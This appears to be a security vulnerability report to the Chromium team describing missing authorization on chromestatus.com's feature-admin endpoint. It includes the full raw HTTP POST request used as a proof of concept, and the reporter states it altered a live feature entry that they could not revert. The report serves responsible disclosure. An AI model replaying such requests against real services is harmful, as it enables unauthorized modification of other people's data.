VULNERABILITY DETAILS
Unauthorized users can edit/change features on https://www.chromestatus.com.
They can maybe even delete features, but I have not tested it because I don't want to destroy any features in a production system.


REPRODUCTION CASE
POC: https://www.youtube.com/watch?v=bQOxstD-V4c. https://www.chromestatus.com/feature/6269417340010496. Look at the comments.
I hope I haven't removed/changed anything important.

Request:
POST /admin/features/6269417340010496 HTTP/1.1
Host: lighthouse-ci-staging-dot-cr-status.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr-FR
Accept-Encoding: gzip, deflate
origin: https://lighthouse-ci-staging-dot-cr-status.appspot.com
DNT: 1
Connection: close
Content-Length: 716
Content-Type: application/x-www-form-urlencoded

name=%20Treat%20`http://localhost`%20as%20a%20secure%20context.%20&category=3&summary=%20%20Developers%20generally%20expect%20`http://localhost`%20to%20have%20the%20same%20transport%20security%20characteristics%20as%20TLS,%20as%20it%20should%20resolve%20to%20a%20loopback%20address,%20and%20will%20therefore%20never%20hit%20the%20network.%20Chrome%20will%20ensure%20that%20this%20expectation%20is%20accurate%20by%20implementing%20https://tools.ietf.org/html/draft-west-let-localhost-be-localhost,%20and%20carves%20out%20`http://localhost`%20accordingly.%20&impl_status_chrome=1&footprint=1&visibility=1&ff_views=1&ie_views=1&safari_views=1&prefixed=1&standardization=1&comments=hi from tthe.dollarr&web_dev_views=1

As you can see you can easily modify the params and update the feature.
I've found that vulnerability via whitebox testing https://github.com/GoogleChrome/chromium-dashboard/blob/master/admin.py#L317 . 

I'mm not able to revert my changes and maybe this can help you to recover that page, because my GUI is not good enough: https://pastebin.com/sY8YZ0eR. See attachments too.

Kind Regards
 

Deleted: original feature.png 105 KB

	original feature.png 105 KB View Download